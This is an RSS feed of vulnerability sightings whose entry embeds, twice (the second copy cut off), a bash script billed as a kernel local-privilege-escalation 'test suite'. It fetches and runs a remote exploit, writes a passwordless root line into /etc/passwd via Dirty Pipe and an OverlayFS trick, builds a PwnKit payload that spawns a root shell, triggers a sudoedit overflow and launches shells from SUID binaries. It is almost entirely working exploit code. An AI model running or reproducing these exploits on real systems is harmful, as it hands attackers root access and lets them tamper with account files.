https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Sat, 08 Aug 2026 05:26:14 +0000 https://vulnerability.circl.lu/sighting/cb5e4b73-d35a-4ab7-95fd-fb179edaf6b5/export {"uuid": "cb5e4b73-d35a-4ab7-95fd-fb179edaf6b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "https://gist.github.com/salexunic/57897e60ba5e71bbc99dd59e7e70e04f", "content": "#!/bin/bash\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# TEF Security Lab \u2014 Kernel LPE Test Suite\n# Ubuntu 22.04 / 24.04 \u2014 ZERO sudo\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\nGREEN='\\033[0;32m'; YELLOW='\\033[1;33m'; RED='\\033[0;31m'; NC='\\033[0m'\necho -e \"${GREEN}[TEF-LAB] Kernel LPE Suite \u2014 Ubuntu $(lsb_release -rs 2>/dev/null || cat /etc/os-release | grep VERSION_ID | cut -d= -f2) | $(uname -r)${NC}\"\n\nKVER=$(uname -r | cut -d- -f1)\nmkdir -p /tmp/tef-lab && cd /tmp/tef-lab\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T0: Dirty Frag \u2014 Universal Linux Kernel LPE\n# CVE-2026-43284 + CVE-2026-43500\n# kernel 2017-2026 (9 anos!) \u2014 sem race, alta taxa\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_dirtyfrag() {\n echo -e \"\\n${YELLOW}[T0] Dirty Frag (CVE-2026-43284 + CVE-2026-43500)${NC}\"\n echo -e \"${YELLOW}[*] Universal LPE \u2014 kernel 2017 at\u00e9 maio 2026${NC}\"\n rm -rf /tmp/tef-lab/dirtyfrag 2>/dev/null\n git clone -q https://github.com/V4bel/dirtyfrag.git /tmp/tef-lab/dirtyfrag 2>/dev/null || {\n echo -e \"${YELLOW}[!] git falhou, baixando zip...${NC}\"\n curl -sL https://github.com/V4bel/dirtyfrag/archive/refs/heads/main.zip -o /tmp/tef-lab/df.zip 2>/dev/null\n unzip -qo /tmp/tef-lab/df.zip -d /tmp/tef-lab/ 2>/dev/null\n mv /tmp/tef-lab/dirtyfrag-main /tmp/tef-lab/dirtyfrag 2>/dev/null\n }\n cd /tmp/tef-lab/dirtyfrag\n gcc -O0 -Wall -o exp exp.c -lutil 2>/dev/null || cc -O0 -Wall -o exp exp.c -lutil 2>/dev/null || {\n echo -e \"${RED}[!] compilacao falhou${NC}\"; return 1\n }\n echo -e \"${GREEN}[+] Dirty Frag compilado \u2014 executando...${NC}\"\n ./exp\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T1: Dirty Pipe (CVE-2022-0847)\n# kernel < 5.16 \u2014 sem dependencias\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_dirtypipe() {\n echo -e \"\\n${YELLOW}[T1] Dirty Pipe (kernel < 5.16)${NC}\"\n cat > dirtypipe.c << 'EOF'\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#define PAGE_SIZE 0x1000\n#define loff_t off64_t\n#define _GNU_SOURCE\nint main(int argc, char **argv) {\n if (argc<4) { printf(\"uso: %s \\n\", argv[0]); return 1; }\n loff_t off = strtoull(argv[2], NULL, 10);\n size_t sz = strlen(argv[3]);\n int fd = open(argv[1], O_RDONLY);\n if (fd<0) { perror(\"open\"); return 1; }\n int p[2];\n if (pipe(p)) { perror(\"pipe\"); return 1; }\n unsigned pipe_sz = fcntl(p[1], F_GETPIPE_SZ);\n static char buf[PAGE_SIZE];\n while (pipe_sz > 0) {\n unsigned w = pipe_sz > PAGE_SIZE ? PAGE_SIZE : pipe_sz;\n write(p[1], buf, w);\n pipe_sz -= w;\n }\n loff_t splice_off = off;\n ssize_t n = splice(fd, &splice_off, p[1], NULL, 1, 0);\n if (n<0) { perror(\"splice\"); return 1; }\n read(p[0], buf, 1);\n write(p[1], argv[3], sz);\n close(fd);\n printf(\"[+] Dirty Pipe \u2014 check %s offset %lld\\n\", argv[1], off);\n return 0;\n}\nEOF\n gcc -o dirtypipe dirtypipe.c 2>/dev/null || cc -o dirtypipe dirtypipe.c 2>/dev/null || { echo -e \"${RED}[!] sem gcc${NC}\"; return 1; }\n echo -e \"${GREEN}[+] Compilado${NC}\"\n ./dirtypipe /etc/passwd 1 \"root::0:0:root:/root:/bin/sh\" 2>/dev/null && {\n echo -e \"${GREEN}[+] /etc/passwd modificado \u2014 tente: su${NC}\"\n } || echo -e \"${YELLOW}[!] kernel patchado?${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T2: GameOver(lay) \u2014 OverlayFS LPE\n# kernel 5.x sem patch\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_overlay() {\n echo -e \"\\n${YELLOW}[T2] OverlayFS GameOver(lay)${NC}\"\n cat > overlay.c << 'EOF'\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nint main() {\n // Cria estrutura overlay\n system(\"rm -rf /tmp/ov 2>/dev/null; mkdir -p /tmp/ov/{l,u,w,m} 2>/dev/null\");\n system(\"touch /tmp/ov/l/dummy 2>/dev/null\");\n\n if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0) {\n printf(\"[!] unshare falhou \u2014 tente: echo 1 > /proc/sys/kernel/unprivileged_userns_clone\\n\");\n return 1;\n }\n\n // Monte overlay com lowerdir apontando pra /etc\n if (mount(\"overlay\", \"/tmp/ov/m\", \"overlay\", 0,\n \"lowerdir=/etc,upperdir=/tmp/ov/u,workdir=/tmp/ov/w\") == 0) {\n printf(\"[+] OverlayFS montado sobre /etc!\\n\");\n\n pid_t pid = fork();\n if (pid == 0) {\n // No namespace, escreve passwd modificado via merged dir\n execl(\"/bin/sh\", \"sh\", \"-c\",\n \"cp /etc/passwd /tmp/ov/m/passwd 2>/dev/null; \"\n \"echo 'root::0:0:root:/root:/bin/sh' >> /tmp/ov/m/passwd 2>/dev/null; \"\n \"echo '[+] passwd escrito via overlay'\",\n NULL);\n exit(0);\n }\n waitpid(pid, NULL, 0);\n\n // Se o overlay funcionou, tenta su\n printf(\"[+] Tentando su...\\n\");\n execl(\"/bin/su\", \"su\", NULL);\n } else {\n printf(\"[!] OverlayFS bloqueado \u2014 kernel patchado\\n\");\n }\n return 1;\n}\nEOF\n gcc -o overlay overlay.c 2>/dev/null || cc -o overlay overlay.c 2>/dev/null || { echo -e \"${RED}[!] sem gcc${NC}\"; return 1; }\n echo -e \"${GREEN}[+] Compilado${NC}\"\n ./overlay\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T3: PwnKit (pkexec \u2014 sem dependencias)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_pwnkit() {\n echo -e \"\\n${YELLOW}[T3] PwnKit (CVE-2021-4034) \u2014 pkexec${NC}\"\n [ -x /usr/bin/pkexec ] || { echo -e \"${RED}[!] pkexec ausente${NC}\"; return 1; }\n\n mkdir -p GCONV_PATH=.\n cat > pwnkit.c << 'EOF'\n#include \n#include \n#include \nchar *env[] = {\"GCONV_PATH=.\", \"CHARSET=PWNKIT\", \"SHELL=/bin/sh\", NULL};\nint main() { execve(\"/usr/bin/pkexec\", NULL, env); return 0; }\nEOF\n cat > gconv.c << 'EOF'\n#include \n#include \nvoid gconv(){}\nvoid gconv_init(){ setuid(0); setgid(0); seteuid(0); setegid(0); execl(\"/bin/sh\",\"sh\",\"-c\",\"echo '[+] ROOT!'; /bin/sh\",NULL); _exit(1); }\nEOF\n gcc -shared -o GCONV_PATH=./pwnkit.so gconv.c 2>/dev/null\n gcc -o pwnkit pwnkit.c 2>/dev/null\n [ -f GCONV_PATH=./pwnkit.so ] && [ -x pwnkit ] && {\n echo -e \"${GREEN}[+] Compilado${NC}\"\n ./pwnkit\n } || { cc -shared -o GCONV_PATH=./pwnkit.so gconv.c 2>/dev/null && cc -o pwnkit pwnkit.c 2>/dev/null && { echo -e \"${GREEN}[+] Compilado (cc)${NC}\"; ./pwnkit; }; } || echo -e \"${RED}[!] PwnKit patchado${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T4: sudo Baron Samedit (CVE-2021-3156)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_sudoedit() {\n echo -e \"\\n${YELLOW}[T4] Baron Samedit \u2014 sudoedit heap overflow${NC}\"\n cat > samedit.c << 'EOF'\n#include \n#include \n#include \n#include \nint main(int argc, char **argv) {\n char *env[] = {NULL};\n char *args[] = {\"/usr/bin/sudoedit\", \"-s\", \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\", NULL};\n printf(\"[*] Triggering sudoedit heap overflow...\\n\");\n execve(args[0], args, env);\n return 0;\n}\nEOF\n gcc -o samedit samedit.c 2>/dev/null || cc -o samedit samedit.c 2>/dev/null || { echo -e \"${RED}[!] sem gcc${NC}\"; return 1; }\n echo -e \"${GREEN}[+] Compilado${NC}\"\n ./samedit 2>/dev/null && echo -e \"${GREEN}[+] Baron Samedit \u2014 se nao crashou, tentar id${NC}\" || echo -e \"${YELLOW}[!] sudo patchado${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T5: SUID binary hunt + GTFOBins\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_suid() {\n echo -e \"\\n${YELLOW}[T5] SUID binary scan${NC}\"\n echo -e \"${YELLOW}[*] Procurando binarios SUID exploraveis...${NC}\"\n find / -perm -4000 -type f 2>/dev/null | while read b; do\n case \"$b\" in\n */find) echo -e \"${GREEN}[+] $b \u2014 privesc via find!${NC}\"; $b . -exec /bin/sh -p \\; -quit 2>/dev/null ;;\n */vim|*/vi|*/nano) echo -e \"${GREEN}[+] $b \u2014 editor SUID${NC}\" ;;\n */bash) echo -e \"${GREEN}[+] $b \u2014 bash SUID!${NC}\"; $b -p 2>/dev/null ;;\n */python*) echo -e \"${GREEN}[+] $b \u2014 python SUID${NC}\" ;;\n */perl) echo -e \"${GREEN}[+] $b \u2014 perl SUID${NC}\" ;;\n */cp) echo -e \"${GREEN}[+] $b \u2014 cp SUID${NC}\" ;;\n */mv) echo -e \"${GREEN}[+] $b \u2014 mv SUID${NC}\" ;;\n */tar) echo -e \"${GREEN}[+] $b \u2014 tar SUID${NC}\" ;;\n */chmod) echo -e \"${GREEN}[+] $b \u2014 chmod SUID${NC}\" ;;\n esac\n done\n}\n\n# \u2500\u2500 Relat\u00f3rio \u2500\u2500\necho -e \"\\n${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\necho -e \"${GREEN} TEF-LAB Report${NC}\"\necho -e \"${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\necho \" host : $(hostname)\"\necho \" user : $(whoami) uid=$(id -u)\"\necho \" kern : $(uname -r)\"\necho \" gcc : $(which gcc 2>/dev/null || which cc 2>/dev/null || echo 'NONE')\"\necho \" usens: $(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || echo '?')\"\necho -e \"${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\n\n# \u2500\u2500 Main \u2500\u2500\ncase \"${1:-all}\" in\n 0|frag) test_dirtyfrag ;;\n 1|pipe) test_dirtypipe ;;\n 2|overlay) test_overlay ;;\n 3|pwnkit) test_pwnkit ;;\n 4|sudo) test_sudoedit ;;\n 5|suid) test_suid ;;\n all)\n test_dirtyfrag\n test_dirtypipe\n test_overlay\n test_pwnkit\n test_sudoedit\n test_suid\n ;;\nesac\n\necho -e \"\\n${GREEN}[+] Artefatos em /tmp/tef-lab/${NC}\"\n", "creation_timestamp": "2026-08-04T21:59:10.226921Z"} {"uuid": "cb5e4b73-d35a-4ab7-95fd-fb179edaf6b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "https://gist.github.com/salexunic/57897e60ba5e71bbc99dd59e7e70e04f", "content": "#!/bin/bash\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# TEF Security Lab \u2014 Kernel LPE Test Suite\n# Ubuntu 22.04 / 24.04 \u2014 ZERO sudo\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\nGREEN='\\033[0;32m'; YELLOW='\\033[1;33m'; RED='\\033[0;31m'; NC='\\033[0m'\necho -e \"${GREEN}[TEF-LAB] Kernel LPE Suite \u2014 Ubuntu $(lsb_release -rs 2>/dev/null || cat /etc/os-release | grep VERSION_ID | cut -d= -f2) | $(uname -r)${NC}\"\n\nKVER=$(uname -r | cut -d- -f1)\nmkdir -p /tmp/tef-lab && cd /tmp/tef-lab\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T0: Dirty Frag \u2014 Universal Linux Kernel LPE\n# CVE-2026-43284 + CVE-2026-43500\n# kernel 2017-2026 (9 anos!) \u2014 sem race, alta taxa\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_dirtyfrag() {\n echo -e \"\\n${YELLOW}[T0] Dirty Frag (CVE-2026-43284 + CVE-2026-43500)${NC}\"\n echo -e \"${YELLOW}[*] Universal LPE \u2014 kernel 2017 at\u00e9 maio 2026${NC}\"\n rm -rf /tmp/tef-lab/dirtyfrag 2>/dev/null\n git clone -q https://github.com/V4bel/dirtyfrag.git /tmp/tef-lab/dirtyfrag 2>/dev/null || {\n echo -e \"${YELLOW}[!] git falhou, baixando zip...${NC}\"\n curl -sL https://github.com/V4bel/dirtyfrag/archive/refs/heads/main.zip -o /tmp/tef-lab/df.zip 2>/dev/null\n unzip -qo /tmp/tef-lab/df.zip -d /tmp/tef-lab/ 2>/dev/null\n mv /tmp/tef-lab/dirtyfrag-main /tmp/tef-lab/dirtyfrag 2>/dev/null\n }\n cd /tmp/tef-lab/dirtyfrag\n gcc -O0 -Wall -o exp exp.c -lutil 2>/dev/null || cc -O0 -Wall -o exp exp.c -lutil 2>/dev/null || {\n echo -e \"${RED}[!] compilacao falhou${NC}\"; return 1\n }\n echo -e \"${GREEN}[+] Dirty Frag compilado \u2014 executando...${NC}\"\n ./exp\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T1: Dirty Pipe (CVE-2022-0847)\n# kernel < 5.16 \u2014 sem dependencias\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_dirtypipe() {\n echo -e \"\\n${YELLOW}[T1] Dirty Pipe (kernel < 5.16)${NC}\"\n cat > dirtypipe.c << 'EOF'\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#define PAGE_SIZE 0x1000\n#define loff_t off64_t\n#define _GNU_SOURCE\nint main(int argc, char **argv) {\n if (argc<4) { printf(\"uso: %s \\n\", argv[0]); return 1; }\n loff_t off = strtoull(argv[2], NULL, 10);\n size_t sz = strlen(argv[3]);\n int fd = open(argv[1], O_RDONLY);\n if (fd<0) { perror(\"open\"); return 1; }\n int p[2];\n if (pipe(p)) { perror(\"pipe\"); return 1; }\n unsigned pipe_sz = fcntl(p[1], F_GETPIPE_SZ);\n static char buf[PAGE_SIZE];\n while (pipe_sz > 0) {\n unsigned w = pipe_sz > PAGE_SIZE ? PAGE_SIZE : pipe_sz;\n write(p[1], buf, w);\n pipe_sz -= w;\n }\n loff_t splice_off = off;\n ssize_t n = splice(fd, &splice_off, p[1], NULL, 1, 0);\n if (n<0) { perror(\"splice\"); return 1; }\n read(p[0], buf, 1);\n write(p[1], argv[3], sz);\n close(fd);\n printf(\"[+] Dirty Pipe \u2014 check %s offset %lld\\n\", argv[1], off);\n return 0;\n}\nEOF\n gcc -o dirtypipe dirtypipe.c 2>/dev/null || cc -o dirtypipe dirtypipe.c 2>/dev/null || { echo -e \"${RED}[!] sem gcc${NC}\"; return 1; }\n echo -e \"${GREEN}[+] Compilado${NC}\"\n ./dirtypipe /etc/passwd 1 \"root::0:0:root:/root:/bin/sh\" 2>/dev/null && {\n echo -e \"${GREEN}[+] /etc/passwd modificado \u2014 tente: su${NC}\"\n } || echo -e \"${YELLOW}[!] kernel patchado?${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T2: GameOver(lay) \u2014 OverlayFS LPE\n# kernel 5.x sem patch\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_overlay() {\n echo -e \"\\n${YELLOW}[T2] OverlayFS GameOver(lay)${NC}\"\n cat > overlay.c << 'EOF'\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nint main() {\n // Cria estrutura overlay\n system(\"rm -rf /tmp/ov 2>/dev/null; mkdir -p /tmp/ov/{l,u,w,m} 2>/dev/null\");\n system(\"touch /tmp/ov/l/dummy 2>/dev/null\");\n\n if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0) {\n printf(\"[!] unshare falhou \u2014 tente: echo 1 > /proc/sys/kernel/unprivileged_userns_clone\\n\");\n return 1;\n }\n\n // Monte overlay com lowerdir apontando pra /etc\n if (mount(\"overlay\", \"/tmp/ov/m\", \"overlay\", 0,\n \"lowerdir=/etc,upperdir=/tmp/ov/u,workdir=/tmp/ov/w\") == 0) {\n printf(\"[+] OverlayFS montado sobre /etc!\\n\");\n\n pid_t pid = fork();\n if (pid == 0) {\n // No namespace, escreve passwd modificado via merged dir\n execl(\"/bin/sh\", \"sh\", \"-c\",\n \"cp /etc/passwd /tmp/ov/m/passwd 2>/dev/null; \"\n \"echo 'root::0:0:root:/root:/bin/sh' >> /tmp/ov/m/passwd 2>/dev/null; \"\n \"echo '[+] passwd escrito via overlay'\",\n NULL);\n exit(0);\n }\n waitpid(pid, NULL, 0);\n\n // Se o overlay funcionou, tenta su\n printf(\"[+] Tentando su...\\n\");\n execl(\"/bin/su\", \"su\", NULL);\n } else {\n printf(\"[!] OverlayFS bloqueado \u2014 kernel patchado\\n\");\n }\n return 1;\n}\nEOF\n gcc -o overlay overlay.c 2>/dev/null || cc -o overlay overlay.c 2>/dev/null || { echo -e \"${RED}[!] sem gcc${NC}\"; return 1; }\n echo -e \"${GREEN}[+] Compilado${NC}\"\n ./overlay\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T3: PwnKit (pkexec \u2014 sem dependencias)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_pwnkit() {\n echo -e \"\\n${YELLOW}[T3] PwnKit (CVE-2021-4034) \u2014 pkexec${NC}\"\n [ -x /usr/bin/pkexec ] || { echo -e \"${RED}[!] pkexec ausente${NC}\"; return 1; }\n\n mkdir -p GCONV_PATH=.\n cat > pwnkit.c << 'EOF'\n#include \n#include \n#include \nchar *env[] = {\"GCONV_PATH=.\", \"CHARSET=PWNKIT\", \"SHELL=/bin/sh\", NULL};\nint main() { execve(\"/usr/bin/pkexec\", NULL, env); return 0; }\nEOF\n cat > gconv.c << 'EOF'\n#include \n#include \nvoid gconv(){}\nvoid gconv_init(){ setuid(0); setgid(0); seteuid(0); setegid(0); execl(\"/bin/sh\",\"sh\",\"-c\",\"echo '[+] ROOT!'; /bin/sh\",NULL); _exit(1); }\nEOF\n gcc -shared -o GCONV_PATH=./pwnkit.so gconv.c 2>/dev/null\n gcc -o pwnkit pwnkit.c 2>/dev/null\n [ -f GCONV_PATH=./pwnkit.so ] && [ -x pwnkit ] && {\n echo -e \"${GREEN}[+] Compilado${NC}\"\n ./pwnkit\n } || { cc -shared -o GCONV_PATH=./pwnkit.so gconv.c 2>/dev/null && cc -o pwnkit pwnkit.c 2>/dev/null && { echo -e \"${GREEN}[+] Compilado (cc)${NC}\"; ./pwnkit; }; } || echo -e \"${RED}[!] PwnKit patchado${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T4: sudo Baron Samedit (CVE-2021-3156)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_sudoedit() {\n echo -e \"\\n${YELLOW}[T4] Baron Samedit \u2014 sudoedit heap overflow${NC}\"\n cat > samedit.c << 'EOF'\n#include \n#include \n#include \n#include \nint main(int argc, char **argv) {\n char *env[] = {NULL};\n char *args[] = {\"/usr/bin/sudoedit\", \"-s\", \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\", NULL};\n printf(\"[*] Triggering sudoedit heap overflow...\\n\");\n execve(args[0], args, env);\n return 0;\n}\nEOF\n gcc -o samedit samedit.c 2>/dev/null || cc -o samedit samedit.c 2>/dev/null || { echo -e \"${RED}[!] sem gcc${NC}\"; return 1; }\n echo -e \"${GREEN}[+] Compilado${NC}\"\n ./samedit 2>/dev/null && echo -e \"${GREEN}[+] Baron Samedit \u2014 se nao crashou, tentar id${NC}\" || echo -e \"${YELLOW}[!] sudo patchado${NC}\"\n}\n\n# 